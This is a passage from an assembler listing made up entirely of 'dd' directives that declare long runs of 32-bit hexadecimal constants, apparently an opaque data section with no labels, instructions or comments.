80E7F63Eh, 1357674Ch, 1834F548h, 0B5D8F958h dd 0A8B31363h, 9D44007Ah, 0E93BF686h, 0ABF50B0Ch, 0A04152E8h dd 37EC81C4h, 0B028A0DBh, 37C72C5Ch, 0E0FB3834h, 0BC506858h dd 29E3443Ch, 401DF83Eh, 608E5184h, 21BD843h, 1F968179h dd 44408D2Ah, 10C595AFh, 0C867062h, 0F4A81510h, 0BB04AC2Ch dd 0C0C74F64h, 8E430C34h, 0FA275800h, 8FDD7FA5h, 0A7C781Fh dd 0B3CB1D56h, 342C8EE0h, 0FB7A5142h, 0B11FE8A0h, 0E2506198h dd 93882730h, 50424487h, 0CC3B0F28h, 0B17B6334h, 3609E070h dd 21A200ECh, 4385358Ch, 48A04196h, 294437D4h, 13AE0AB1h dd 82C80867h, 0FB1B57B9h, 918E40Ah, 63CD719h, 0B89BAF97h dd 4362A017h, 603DD120h, 0EBBFE878h, 9D801857h, 0A8DD2D96h dd 138531B4h, 4538045h, 84442E49h, 6B50C1E4h, 0D4181061h dd 9389147h, 40ACB757h, 104C14A0h, 0A1E54014h, 8C156529h dd 0A24B5709h, 8C79AB90h, 581FC814h, 5012A409h, 0ED1840B8h dd 2F7EB393h, 40D1AE30h, 288E79F8h, 0A9C419Bh, 0A894ADFBh dd 8DAF03A8h, 0A8244AE3h, 0EC81D0F8h, 16ABB601h, 3DA0430h dd 0FD5941DDh, 28242334h, 0B8128FF5h, 878EA843h, 2C1850F1h dd 0E812600Bh, 322421C9h, 0AF9C2050h, 4F168700h, 0FC3EF13Ah dd 0C1D472BDh, 1B8E9D40h, 0F54830DEh, 40106848h, 0B506948h dd 0DE528328h, 0C6110FA8h, 322A0482h, 78CF6880h, 0A88FECB9h dd 7C803D80h, 28EF04D6h, 83747D18h, 0F004A78Ch, 47039683h dd 0BD128490h, 75A33FFFh, 0D62AE049h, 4CDEB02Ch, 57107441h dd 97C10070h, 3EA6DE54h, 23722AA8h, 0FE6712D0h, 2CEC4357h dd 47E53120h, 70864324h, 0B381FA28h, 4C09551h, 0B4B0C148h dd 6CC556Ch, 0C88C83BDh, 0B3B82A00h, 309A92A2h, 0F8052ACDh dd 0CEBC1830h, 97E6F1B0h, 42511012h, 5102C26h, 2CC73F60h dd 0A8BC4F27h, 43B3AC0Fh, 0FD959B5Ch, 0CD4D513Dh, 741D7CBCh dd 0D4E683B9h, 0C8ABEC81h, 3C301D2Fh, 8063060Fh, 0F930C7A8h dd 0DAEBB05h, 8050743h, 84EFC5D1h, 0A3749080h, 0E90C9A88h dd 0B19B51A2h, 60B2001Eh dd 0D199E7B8h, 19C4A48Eh, 4A5E07Bh, 34149454h, 496710E8h dd 3AB99281h, 138235Fh, 8F784C23h, 8229474h, 0D7154582h dd 8762C08Fh, 88832E1Ah, 0F3A057D9h, 7EFAE6A8h, 0FE242809h dd 675827C1h, 7C232291h, 3CC8ECDh, 98D748AAh, 0B76CA926h dd 3247FFB0h, 0C04D84AEh, 9CF09908h, 4B133CB0h, 0F44AEE85h dd 83812081h, 467B65B2h, 50A1E980h, 0DC34E4ECh, 0F5B12C16h dd 2A51F842h, 0B4A58386h, 48F9E217h, 0B258030h, 32FE5D66h dd 6074084h, 0C3996E99h, 7CAB8E20h, 603CFD81h, 145D4E0h dd 7BD39AE0h, 0F0949AC6h, 30D67809h, 23217061h, 375078D4h dd 0D62C0618h, 31308264h, 2278D73Eh, 0D506E087h, 58A56218h dd 0FC09D21h, 0B8A3D6E3h, 6618DEC0h, 31735F30h, 6265A7F5h dd 5D9921BDh, 420D1448h, 6230940Ah, 7F82DCECh, 0C8927EBBh dd 94FF5774h, 0E8D42AA6h, 3D3A20DEh, 85546902h, 601B1C8Fh dd 0C4A4726Ch, 0BFB433E1h, 8F5BE900h, 7F9498B5h, 0E080004Bh dd 0F67DF796h, 0B098E20Dh, 0C49F7F26h, 4CC8D09h, 4B416DB8h dd 83F591C6h, 45CAE728h, 0F0449B84h, 7C557E25h, 1280B80Fh dd 13ED28h, 0D72BC950h, 7809C645h, 29C48EE8h, 47900244h dd 0C50440A9h, 13F8A0EBh, 8E3180BFh, 7015EF26h, 59183C00h dd 3E8ABE14h, 6BB4DD58h, 0D6F7C0E8h, 1E670CB1h, 3097E560h dd 23EEB1FDh, 71129A52h, 3420A365h, 0DFABCCEh, 0E0FF3A4h dd 0A110C341h, 0B1794047h, 34B900F4h, 8B21AC14h, 24886092h dd 1B023A3Dh, 0EA5FEC3Eh, 189C64E1h, 0C03388FEh, 109280E7h dd 62B0930Eh, 924B8F63h, 3D26D400h, 1F044DBBh, 0C9433B12h dd 0B401465Fh, 28276617h, 0DCA78734h, 34010888h, 39882183h dd 3CAFA0FAh, 2B9D266h, 5413A4C0h, 0C8C00885h, 960B7AC8h dd 7F9DE48h, 40D0A130h, 90363CE1h, 7386228Ch, 2104B62h dd 0A74247Eh, 3A131032h, 61637C0Dh, 0F0A560E0h, 8B4CA0D5h dd 4759003Fh, 0B8DF4BF3h, 2B0B1572h, 0A03746B1h, 8E7843D4h dd 58AA32F9h, 0D8A65580h, 0C8163834h, 1CD182h, 0D9000CA8h dd 7BABB93Bh, 2452D68Eh, 66C8822h, 18B7B62Ah, 1FD08648h dd 2420BCC6h, 85A80299h, 0C0E6A6F3h, 80CF8E5Dh, 204020C4h dd 0C3CE84D0h, 57150FC5h, 840AC2B0h, 28A5875Ch, 3ABF5ACh dd 2BD69FA0h, 8FBF04C1h, 42C6011h, 5248AA0Dh, 505E7413h dd 50104A18h, 4921C8A9h, 0C4110A18h, 705EB82Dh, 6D4278Bh dd 401E1405h, 3EF69AA4h, 600088D8h, 0C5130C84h, 4AFFC4Ah dd 0A4819641h, 83E4A027h, 0B0BCFE2Ch, 0CC806984h, 98004684h dd 74687258h, 367728D7h, 0A82E4E0h, 7F268BE8h, 12E1E84h dd 0FEE152CCh, 0DFAFDDBDh, 0DCC82BA2h, 990474F1h, 0B87C6EE4h dd 0C63F48A2h, 15C2CD80h, 78512C3Ah, 4F980A67h, 420864DAh dd 36930073h, 0FE1FF5A8h, 88728141h, 0DC95AC02h, 0F4A35559h dd 81FD4115h, 0DA9C7B91h, 0AE20E0A1h, 4784B8Ch, 697E101h dd 6021A882h, 92ECEFB8h, 0A838069Ch, 11E09679h, 2AA7523Ch dd 992AFCFCh, 0BC13C466h, 6CC6268Dh, 7509099h, 29DBE880h dd 600449C0h, 4874B4C7h, 7EB9A20Ch, 1F3116Fh, 3B77FC51h dd 8EAFD92Ah, 42A63371h, 607C69C6h, 4B67938Ch, 2B7C0216h dd 48D0E64Dh, 0B9E94109h, 73D82543h, 404ED83Ch, 0C807EBAEh dd 2FA9FE6h, 9D0FD890h, 3DBF1CD1h, 784480B2h, 0A19C7486h dd 0AA25AEE4h, 0AFAC9065h, 0C074B8Dh, 7BE9FB18h, 2403D7E6h dd 3ACDC710h, 527E0AF7h, 138A934h, 79819258h, 772C7324h dd 0CB0E1CA0h, 99FB4F09h, 0A234C339h, 0E7A8918Eh, 0FB4C400Dh dd 3153F93Bh, 7996C08Ch, 0A60597E0h, 734F23E8h, 627E2F08h dd 44695165h, 95023B9h, 20051E32h, 1ACC4144h, 3698127Ch dd 0C4280351h, 4AAC649h, 1CE818E2h, 96FBBB03h, 961052D9h dd 0E0661280h, 0E9B73071h, 0BE8A3300h, 12B8BBFFh, 84C0F4AEh dd 2613403Bh, 7F49965h, 6AA27248h, 3AB404C8h, 0B69C984Fh dd 0DCCCB523h, 84E64324h, 68576787h, 0AAC62987h, 8A0E0061h dd 0ACEE1BEFh, 1A005F75h, 17FD60F0h, 1FA56A2Ah, 70F93351h dd 8637E710h, 6E3EDA01h, 0EE6725F8h, 95F3F0h, 0B4D3FF52h dd 69F27E4Eh, 0C4D8F0Fh, 0C58C7FEAh, 1418B1h, 2382688Bh dd 61B6E55Bh, 0C2FAD400h, 0B147AC29h, 0CEDC00C7h, 0E55A78ADh dd 0BE1E8563h, 0D280E7B2h, 8F7F09D7h, 16674B7h, 23B54655h dd 0F008402Eh, 7D676880h, 8580F449h, 3817DC54h, 4F8BB777h dd 2980F17Ah, 2A24A4EAh, 5E762800h, 686FB965h, 803C0355h dd 4FD8C74h, 10D685E0h, 39311C00h, 0AC17431Eh, 3E843C13h dd 23080628h, 1103119h, 3C422E10h, 192080E9h, 0AEB2D046h dd 1DC7A47h, 31574D22h, 8E4E4B36h, 0A73E6D28h, 0B7A0F328h dd 0C08068D6h, 0F5E053C9h, 28C14DABh, 2548D4Ah, 0DE3C1C41h dd 23470883h, 6018AD31h, 0F5F9E27Ah, 29D964D7h, 0CEC94042h dd 0DCCB3Ah, 0FF4EE32Ch, 7CF5D6DFh, 334371C7h, 0B72D7F0h dd 1EFC0A45h, 1B040FEh, 5E68DC0Ch, 0C2C88088h, 0CE2D461Ah dd 0EEF30702h, 0FC5805C1h, 8C38C078h, 896F379Ah, 34BF280h dd 0B508A087h, 44BFF04Ah, 20DF1247h, 82006350h, 0D5A3583Dh dd 99C5C668h, 8C06C508h, 3C11149Eh, 39308A2Ch, 0ECBB5E91h dd 0CF9AEB0Ch, 0E02E697Eh, 0FEA30ADAh, 1FCC6DAAh, 0EF292040h dd 8A049828h, 54938B49h, 96EDF96Dh, 502E74C8h, 705480F7h dd 9FEC0064h, 9E82739h, 59731CEAh, 0B76DAF00h, 7E43DFD5h dd 0A8E00328h, 0C3A9A4E1h, 4EB699E0h, 9E000CA4h, 0EB3B0797h dd 7B0B7CF1h, 400D00D1h, 0DD3732B5h, 1714C393h, 9407868h dd 21128Ch, 4C3B5E94h, 0F69C1277h, 4A2804B4h, 387600ACh dd 280888C7h, 97EBEAh, 17E0E3C8h, 35B554CEh, 7D5B730Eh dd 60C76E0Bh, 0A44EB832h, 0D82E5089h, 0D6AD3CE5h, 40510807h dd 4769B17Eh, 0C50850Fh, 940097DBh, 27D189A2h, 403360CCh dd 0E58695B5h, 0F13B1490h, 8CA11F9Fh, 97020700h, 7FC930h dd 0D6874B46h, 4714B5CCh, 1906800h, 0B258C482h, 52750089h dd 42969E09h, 4E3E8559h, 33460005h, 0DBAAF7E9h, 9E380093h dd 0BA344264h, 58C1238Fh, 0AB3DC3CBh, 780E1880h, 0B3A17709h dd 33001D7Fh, 0B418EB02h, 61C481h, 0E184DB34h, 0FC19C8A1h dd 0F3DAB603h, 0D5F6488Ah, 0CA70F6C1h, 6FD4B0D9h, 1B2C1857h dd 0EB048035h, 0B8070D00h, 40DC61BDh, 148C178h, 99066DDBh dd 0ACD81B18h, 61D2FBE5h, 5BF9E2E1h, 0A202B082h, 8480B494h dd 62F1A026h, 0E06130C0h, 684BD80h, 408C17FEh, 3143F991h dd 82C78610h, 24B21F6Bh, 4033C49h, 889EB05h, 0DDCE4F82h dd 53C8AB00h, 428438E2h, 0E1FEE1FAh, 1DA0C2F0h, 0AB4297h dd 0B2874563h, 82F0486Dh, 0BEF78E00h, 32BB50F0h, 0E4920175h dd 5B2F9E06h, 4586F403h, 7C123400h, 3582F13Eh, 49830025h dd 81FC9722h, 90242BDh, 0D608C57Ah, 10209C28h, 0C0F0A2D9h dd 375E920Ah, 6A10041Eh, 8058AFECh, 0D4C8620h, 0E5B93D07h dd 4B80A507h, 0F93D3D1h, 9DF5AB4Ah, 4EA82C80h, 0DCA37AEDh dd 0CF6F12C0h, 0D5CEF11Eh, 0EE912931h, 4D0DD300h, 0CF08FF07h dd 4E145092h, 17E86380h, 37AF00EFh, 2C455DEEh, 1A0099FEh dd 0F88FA2CAh, 19CD5Eh, 56D652C7h, 5739690Eh, 0D2EEE500h dd 12A19435h, 89FA0075h, 3FE4CE1Ch, 8B1224DAh, 1007C19Ah dd 1B2050EEh, 782FAFA8h dd 0A6281C62h, 0E68C4079h, 0C033AC9Ah, 2E8EB300h, 435B409Eh dd 0CB1E007Bh, 8AC401BDh, 8009866h, 6CD4BEDFh, 9F2915Eh dd 8BB3A323h, 0D7FE6480h, 730389DEh, 1B180CBEh, 2B37A050h dd 9726003Dh, 0A8AD096Fh, 1D009CB5h, 52BAD4B0h, 63F9C2h dd 26915BFAh, 0D94AA3D6h, 9C873600h, 5CA18C78h, 0AA0116DCh dd 3BFCCDh, 4AC0CA64h, 8A6075h, 3A2CF25Fh, 32DFD6E3h, 0D06CEF00h dd 8B7161F6h, 93DA0019h, 70E2C21Ch, 3700BED5h, 5134E5B1h dd 1FE8AE86h, 1D0D81h, 88F0DBF8h, 0A600FC38h, 4ABB2C6Ah dd 9076E9CAh, 0D4270020h, 0A41FDA03h, 0C201BC17h, 0D108D012h dd 68CC6063h, 0E12600B2h, 0CE974318h, 6B39C5ABh, 85943D74h dd 93F2368Ah, 0C151E847h, 3129546h, 0BE43DEA1h, 64F0692Ch dd 0EC00BFC9h, 7D4CFE2Ah, 766EE2EDh, 79660037h, 67A169A4h dd 0FE003829h, 0E2ECD39Ah, 0F474F3h, 0A86EE9B0h, 9C233FDDh dd 2A006F79h, 45062A5h, 77BECD5h, 0B7DFA10Bh, 8E7653FBh dd 9C341000h, 3F254553h, 0DE4316AFh, 811F1FEDh, 33E5D2B5h dd 0E05DE275h, 6BE795h, 89D434E0h, 0AB9281ACh, 76758890h dd 114E0A00h, 0EDD33DBCh, 55D10027h, 2DE92B8Ah, 5D398477h dd 0A714803Ah, 0C995D84Fh, 0D48E005Ch, 4B0C36E5h, 643D934Ch dd 0D97A9217h, 0B766C00h, 1C3BB53h, 0E39D27BCh, 8703F482h dd 0F6AB6F8h, 73B28390h, 38A77A20h, 3F03E048h, 8D1F2A36h dd 42D782E8h, 74C9BA00h, 0FED315C1h, 0C1700F1h, 99047EA1h dd 7502CC16h, 8F51BA55h, 0B2F8400Dh, 95E90028h, 1165DA7h dd 6F60FFCh, 87DA003h, 0C020BCC0h, 0FB21E04h, 949713C6h dd 0CBB8063Eh, 4624A091h, 0D0A09429h, 21536F00h, 6A0748D9h dd 2CCC00A7h, 0D18FDF5Fh, 349AA349h, 0A6EF2100h, 0FE66EB22h dd 4AF30060h, 63827EDFh, 0AC905E19h, 3F747F00h, 12E4159Ch dd 0B96F00AFh, 5719FEF9h, 4C00881Ch, 0A6369543h, 0ED4737Dh dd 6E04103Bh, 0F82469A0h, 88000BE1h, 93EA234Bh, 16B5AA37h dd 106483h, 0A098FC2Bh, 0C9007B5Eh, 0BA2D55C6h, 824827h dd 8757030Bh, 0A869371Fh, 0CB4C0F07h, 5E732B7Bh, 0B89E022h dd 0C2091FD9h, 6C038014h, 7F6DF112h, 287B0500h, 319C60D2h dd 7B3907Dh, 0F90F9664h, 9279C125h, 0D637C819h, 0EE58C300h dd 31C41803h, 5A3C019Dh, 1176AFA9h, 0F86DD878h, 2BEF8000h dd 7F47935Fh, 8DA40768h, 9024A80Eh, 3B566D26h, 10287A1Fh dd 990C4100h, 1EB71451h, 0DC0668E1h, 0A47F006Dh, 0EED1F6F2h dd 0EBB37C00h, 0D718BFA2h, 23780062h, 6DFC54E3h, 6401EE76h dd 11DDEAB1h, 6A6051DEh, 0A67DEDh, 0F7FC5F4h, 3525DFB6h dd 0EAEC5000h, 854B1710h, 2EAB00DAh, 27CFFA07h, 0C005FA8h dd 64385455h, 0E06F3B06h, 595000Bh, 4FE36EC8h, 0DE00ECC5h dd 111B3268h, 0A42AF7h, 6E9FD38Fh, 7BF5CBE7h, 0AED2F91Eh dd 78B7ED40h, 71FF76h, 8FE24DC5h, 51CE11EBh, 2D911000h dd 32D73425h, 0DF6A00A5h, 0DA39D83Dh, 56072B8Dh, 59D6718Ch dd 0A85EB863h, 1F81EB41h, 201930h, 855AA51Bh, 4C016532h dd 0B67D9779h, 0C84036EEh, 1DBE540h, 0D6147041h, 0FC0366C1h dd 0FA07A221h, 0B33169F8h, 6B5F803Fh, 14FB32h, 0F2AFE5F3h dd 3DCEFE50h, 2CC06400h, 0E10455DAh, 0D8390023h, 0DB48BBA5h dd 3B173D46h, 5A0EA00Bh, 0D97520EDh, 0C52567h, 35C3D7E4h dd 0D2C4FB5Ch, 367BDB1Dh, 4060128Eh, 0A1A6B503h, 14F600D8h dd 1C926DDh, 0BF7EF9E4h, 8091C638h, 0A6E1B0C0h, 78FECA5h dd 422FD94Eh, 507A201Ch, 1D006024h, 856901B7h, 276B814h dd 5C777C2Ch, 0C440A611h, 2A03F6E0h, 0BD6EBCF3h, 5897C0C3h dd 84E600BBh, 500E6383h, 66005C86h, 4B6992Fh, 109575Dh dd 0C111969Fh, 80B0E024h, 0E98016D8h, 1BAD77Fh, 0CE507B94h dd 30DD7074h, 61008848h, 377236FBh, 0C1BB416h, 0F621E2F4h dd 0C7002BF9h, 0E13EF079h, 0EEFCB4Bh, 5FD01CAEh, 0EDEA40FDh dd 31D737DFh, 98B0C00h, 0FF29AF41h, 0F410AB69h, 0C290E10Ch dd 718D5B00h, 65946C47h, 0B1D43E6Bh, 5C341Fh, 0B49F98BAh dd 0A90F0380h, 0E0522C30h, 1544314Bh, 0BD250032h, 0B75ED298h dd 3C242EF3h, 0DD189052h, 36B068h, 28D0469h, 0F968C99Ch dd 20E2EF00h, 7071C8B3h, 0CC510039h, 93BD52A9h, 6100D08Dh dd 0C1E9ADC4h, 4943725Bh, 771BCFCh, 0C25CEB20h, 35F3002h dd 0A8001AF8h, 0CA5DD00Dh, 253778h, 828ACFC1h, 0F894E108h dd 3E023090h, 62DBC417h, 668FC07Ah, 51E60055h, 0B38368EDh dd 7500A561h, 4FCB69C3h, 38AF3062h, 0E081456Eh, 3E6C024Ah dd 32C6ECA0h, 0D43E8EFh, 0BE592500h, 57671D53h, 9DDD006Dh dd 3C0807A5h, 900B8ABh, 27B3DC2Fh, 0BEC8D0h, 9C46D311h dd 0A67B5FB1h, 0EF69BD0Eh, 0F71CE04Ch, 3D64155Ah, 3A4CED6h dd 85430014h, 7AF66E95h, 80371A38h, 0E39F6C39h, 12A78420h dd 0B9A474h, 0FBBB36B1h, 0B7008F2Bh, 358B650Dh, 1F3963h dd 3B7B8C5Bh, 5F99B156h, 0E5B48F03h, 0B490849Fh, 2904C8h dd 0F375D0E0h, 92D9E8A6h, 0A887E400h, 7AB6076Bh, 65E613h dd 0D3306DD8h, 4C233699h, 73F50E00h, 6AFDF40Ch, 0AA9F3951h dd 81C6FB80h, 0E45EF389h, 0CF111003h, 0CA334AE9h, 8C8060CDh dd 81440029h, 0A3BB8ECBh, 0E500F1C7h, 8901978h, 0EAB4F99Dh dd 2BC500E6h, 0C121E1D2h, 10137D27h, 2C0064D4h, 9E1597FCh dd 0A959033Ch, 0DF34C72Ah, 8DE0B3A3h, 0CE03A738h, 1DEAEF4Ah dd 396BE1C4h, 0F8EB3189h, 0DE5EC180h, 3F00DACAh, 4DFF5667h dd 4891205Bh, 26717C9Fh, 9361DEEh, 0FD4479h, 0A1E0AC5Fh dd 11B6065Ah, 50ECA283h, 0B977E300h, 0D606EAB0h, 99B70030h dd 604736E7h, 4EB0CDA1h, 0E448C5B0h, 23007560h, 1517C69h dd 7FAB17h, 972861BEh, 0DD81F3B9h, 4D8D1E00h, 8BD64E57h dd 0C7DE0176h, 0DF6C593Ah, 0CB8840D1h, 0EC00DAD8h, 0A0144EADh dd 0E4E2D3E4h, 0A0F0F45h, 0D43AE31h, 8883F10h, 0FF0068D6h dd 0A3F36DDDh, 3AD378F2h, 0C30E052Dh, 7E60B12Ah, 0E80AD4AEh dd 0E20055E2h, 0A537242Fh, 76B56ACh, 4D21A704h, 7E14E08Bh dd 0AB006554h, 0F26D7192h, 1DC341B9h, 40B5CE4Ah, 0E03CA481h dd 0FD00A052h, 69D6E8E7h, 0A3C78Ch, 0DDE16FB4h, 17209FEAh dd 0CCB48E54h, 8514D27Fh, 0A8EEA6h, 0A1DB9367h, 1EECCFB8h dd 0C0F2BF8Bh, 0E4B482A8h, 8700B7C7h, 1CFABB43h, 5E240F29h dd 40C384A2h, 0B3D1A7C8h, 0F000BB2Eh, 7DC8309h, 3DC4ACh dd 0BCB5811Dh, 0B6141BFAh, 0F50D1C00h, 0B81308A9h, 0DC90C077h dd 6D024C6Fh, 0AA17B200h, 6905325Ah, 0EF533016h, 5F897960h dd 71E96A30h, 71FFB40Ah, 2FA0046h, 0A909AFE6h, 0E80020D3h dd 1BA89EC5h, 7438D08Ch, 1E437B54h, 80589192h, 2D7FE21h dd 30922955h, 9352C200h, 0AA278118h, 0DEA0B08h, 8180492Fh dd 20DB4289h, 2279C904h, 88D3E55Eh, 34A3C86Ch, 89D90304h dd 92644E65h, 0EF4B2DC8h, 8198E300h, 0D951EC95h, 9CCB0174h dd 0E43588ABh, 0DCF8C96Fh, 0EC005B2Bh, 0D316DFB1h, 11BD744h dd 6157C389h, 0E49E0679h, 6F001EA3h, 0BB63F691h, 0F5FA403h dd 5AC680C4h, 0D0A66DC0h, 0FC0EE4D7h, 601DA58Fh, 4EECC93Fh dd 5BE93DBDh, 0A6147800h, 59575F04h, 5D33B100h, 0BE3227B0h dd 1EE079B4h, 4051E5AFh, 31DE86DFh, 400EBC3Ah, 5ECAF44Dh dd 76DA53C0h dd 452ABFh, 0B62D5F67h, 0A0CE8B5Bh, 0B42C1728h, 0A0424324h dd 0C8408800h, 84EA07h, 0D8BE83D7h, 0C123CB9h, 804F8C3Ch dd 0EF8176A3h, 0F64B80h, 3944EE2Eh, 0FB1CB7D4h, 0C0DFE000h dd 25592C05h, 1A99045Bh, 800C9F6Bh, 0A8B78A69h, 930B4CE2h dd 793B84h, 16145074h, 6E7B18h, 0F027A1BBh, 818A8370h dd 0E92AB48h, 88DB94h, 0A9671364h, 0E7400032h, 0A23A6806h dd 400F3E2h, 0BA7C7FC0h, 3AEC742Ah, 16800B7Dh, 7FF9BDAh dd 0D200A8FEh, 842136FCh, 13EBB3h, 94EF0658h, 56F373A6h dd 178E900h, 0E33A44EAh, 0AB60084h, 0DD7C6C3h, 0CF0F2C0Fh dd 81FB54C4h, 7473A89Fh, 1CCC470h, 0F7F20902h, 60EC7D29h dd 4CB0AFDCh, 886BBB00h, 223760DBh, 9855012Ah, 6CEC948Bh dd 0AF5C2074h, 6B288A01h, 0F4D22C44h, 4CBFCCh, 53615FA2h dd 0B6B908EAh, 0EB006A76h, 97EF8622h, 3BEAA18h, 0D48CF606h dd 1800203Eh, 0ABD012FEh, 77AC16h, 691B7622h, 28DC3C07h dd 0D5544700h, 0C91A1226h, 0F627D8Ah, 209BACA4h, 5435BE63h dd 73FCC0E4h, 0B3B8FE46h, 2BCC9D03h, 0BB2DF212h, 93D80AE6h dd 0CC75ACh, 24E338F9h, 300D92Bh, 0D3F0F8A0h, 14568922h dd 945A0D08h, 521DBE00h, 0A15B51D9h, 53C5D400h, 0AFE19002h dd 0A8560063h, 0E4BCC409h, 0BA077EABh, 6A92204Ah, 2C366FC0h dd 0AF90FBh, 2F27A318h, 25763E4Fh, 0F900F1B8h, 0BF30DB92h dd 53A86Ch, 0FACC67A6h, 821EA0E0h, 60B15E00h, 1D33D2F4h dd 0E78F00AEh, 1485574Ah, 1600F527h, 2E9EBD81h, 8E77B5h dd 0CEAE0470h, 0C598117Ah, 18EC3Fh, 0BDD16AA3h, 0EAE63043h dd 80873BBEh, 0ADD32601h, 0CC1EB786h, 611CD613h, 0DD477722h dd 54C0AE03h, 0EE2FF9h, 69E2E44Dh, 0B938E3FAh, 6D9E2603h dd 90664C32h, 5FAA6Ch, 6141C9Ah, 5DF312D5h, 0B3413400h dd 0DC3829BCh, 54AC00BAh, 47ED15FEh, 67EEE95h, 0E167CD00h dd 0CCC8A611h, 99A00C4h, 6A553D01h, 0D70FDDEBh, 2088FAD0h dd 0B6F469AFh, 0BD7400C5h, 24E88AD3h, 0AA0077D6h, 0B55A64D2h dd 5D626Ah, 0F98F08A0h, 0D40A8D09h, 13661500h, 9CCEE321h dd 54330005h, 0DBD5D661h, 590E18FDh, 0C0582A2Eh, 4A984225h dd 639300D2h, 0DD96C8DAh, 7E007177h, 0C4CE305h, 1DB2A52Eh dd 0B4B2Ah, 0FA4ADDBEh, 94000D69h, 0C1754653h, 5CD2A7h dd 0A9E07065h, 1459B883h, 0AAD67407h, 63577BC8h, 5D500CB1h dd 51078880h, 8B8EDA49h, 57907D00h, 0EB235E79h, 0DFDE007Eh dd 77077A6Ah, 0FB61363Dh, 98181709h, 75502087h, 0AE5E8032h dd 2DF0DDD9h, 59302F78h, 3ACD11ABh, 0D7F41DCEh, 1147814Ch dd 8051B70Ch, 0EB146828h, 1F203759h, 36B5CF54h, 24EC1960h dd 50D2D7Dh, 707FCD47h, 2F25C8h, 68B559A7h, 661C5CA1h dd 0FC033400h, 81F61BAAh, 0CEA00D4h, 0C4371EEEh, 3D00EBCFh dd 7736A0BDh, 40A6CAh, 419E35C6h, 0B2EE84Ch, 0E6445914h dd 0D14907E5h, 0BFF07184h, 7EAADECAh, 67610055h, 64DBEA40h dd 7107F559h, 8F27B504h, 0E0AFCE4Fh, 0D49E3F53h, 3FF7E837h dd 971FF86Bh, 0E6244043h, 0B9A01A29h, 585D900h, 0BFAB35D3h dd 0EB34009Eh, 59DABD48h, 0C8F0CBA8h, 1A66E00h, 57EE06FBh dd 0FF7D0074h, 5A4C1E17h, 5B00F5D9h, 8228875Dh, 36BA5FAh dd 0D7B842FBh, 808C8811h, 9FDEF193h, 574E19C0h, 3F80DA4h dd 0F7ADBE71h, 0D1EB1006h, 488E2000h, 0C9DBE29Fh, 72B70E44h dd 39600D36h, 0DD3EB37Dh, 1C00DCF8h, 90F53BAEh, 0F0E08845h dd 6EE643h, 7EC15191h, 8441A5D9h, 0F7BAD000h, 32DF87FBh dd 0D1073CE3h, 0E7102E80h, 0CE9A3395h, 11315000h, 15FBF6CBh dd 68D01F8Fh, 1520393h, 400BB86Ch, 8373E942h, 6F1872Fh dd 724A5B68h, 160FA855h, 0C77A5233h, 808FDC08h, 840B6019h dd 0D081C0A5h, 8EC281DEh, 7323CE00h, 194B6F1Fh, 748F0F02h dd 0C48799FBh, 0CF8C9187h, 5670F071h, 633C1CF0h, 0D01600D3h dd 0C63B5477h, 3F483053h, 0DF6CEA98h, 0C48E550h, 0EF6AC21h dd 0A0F81372h, 0C4317E88h, 0B839C8CCh, 148F0EECh, 748EC348h dd 0EE5DFE1h, 809C581Fh, 1420D1Ch, 4A148791h, 0CC9A6Bh dd 61868F8Ah, 3F2FE18h, 0B8430765h, 9ED0F0BCh, 900AB4Ah dd 0B6F534FCh, 1F63A673h, 404E1C7Fh, 6C4647E3h, 9F00EC31h dd 0F4B8BFBEh, 0E22D09C8h, 0FA8005Dh, 382E33E9h, 78009F85h dd 0F25C616Dh, 2D501DCh, 90E3974Dh, 0FF17A5h, 9A379674h dd 504E0028h, 0A26C353h, 0D1002DECh, 1D64E42Ah, 1A3599h dd 3EBC0E05h, 0A91CFB75h, 0AEFC200h, 0CE52D74Fh, 0BB780042h dd 905089D0h, 48000113h, 9DC7BF8Eh, 131FC566h, 78DB6B2h dd 0E6AD38Dh, 0FFA83740h, 3E0768BCh, 0A90CFBA3h, 922B7C60h dd 4B080003h, 5F5C8750h, 60006943h, 70CF8530h, 7EBB68Eh dd 0EA3F075Ah, 0CDDCD068h, 51005BB5h, 0ED99BB9Ah, 0CC1AB9h dd 3E5505ECh, 66CF94B3h, 68EF8900h, 61F9637Dh, 62480072h dd 8B3A88DFh, 86E61438h, 3DB034FCh, 5C9EF00Fh, 0C39B6A67h dd 0F1780Eh, 546ACC7Ch, 2122007Dh, 7B9C1F3Ch, 72000482h dd 0D952F35h, 0EBFD14h, 0F7158C9Bh, 54DE0917h, 0A9B07F00h dd 0A45CC0CFh, 0AAECC3h, 1005BCA7h, 90AE5E8h, 0BAECEB3Eh dd 7BBD8320h, 0E970D553h, 5CEC78A2h, 0E82307FCh, 0A08C37A5h dd 0A356426Ch, 4E9B7B00h, 165B127Eh, 0F2EA6Ah, 0F89CA5DDh dd 4DC01779h, 4503AB0Bh, 789800DCh, 0FD32EBh, 0C2E13739h dd 0A4407F2Fh, 80464100h, 129783AEh, 985D0005h, 79180975h dd 283E4A7Ah, 0E032008Fh, 0B4F47489h, 0C936005Eh, 20921FCEh dd 61DA381h, 670065C5h, 0C73D3C4h, 0D60E566h, 0C9FC007Bh dd 0DBC6A9D0h, 0C000FF11h, 0CAB85A04h, 0EF9615C4h, 0AFD18440h dd 0C3C600F1h, 697B4642h, 3001754h, 0B5D9E61Fh, 0E235B173h dd 95FA3D78h, 12217C03h, 1800C581h, 98AB3BC7h, 7F91F245h dd 930FBD2h, 700A0F82h, 0EDE00EB7h, 0E77255BCh, 96FF6D00h dd 862BFDEFh, 9E4501D2h, 0A6373E11h, 343BE04Dh, 0C2CD0900h dd 0F5EA5618h, 0DDB2C58h, 0D7F00086h, 12B7555Fh, 1FBAAE07h dd 2640482Ah, 7D01B09h, 0DA922EF2h, 40EA6778h, 2D3BF4Bh dd 84D53501h, 0E2559C46h, 3CF8C3E8h, 0FC00B46Eh, 30A0FA12h dd 62EC3F9Fh, 20A30C00h, 2B138318h, 22F90146h, 0A47A0649h dd 0FDD1E72Ah, 997BFCC7h, 514E1700h, 2F071A40h, 0FAD10090h dd 5E0B325h, 0F300EB91h, 0C515D842h, 0F0E2CDC8h, 9CB9003Ah dd 621BCEB6h, 0FA075F1Fh, 0F8FB2F52h, 0F0F6E6h, 0E421B315h dd 0F41385C1h, 41DC1E03h, 0E83A8033h, 39C7A0h, 98280FB4h dd 22CEC086h, 0F9F8EA00h, 52ECBA2Ah, 0D4E0D0h, 0C895FEEDh dd 58A70CEFh, 0E16AB000h, 36AAE45Ah, 790A00EAh, 0AD1805ACh dd 8400EB61h, 0BD3ACBDBh, 6727BCh, 0D432B187h, 26696B36h dd 0A871820Bh, 2FC300E3h, 16A02Dh, 47FF197h, 43D35ADAh dd 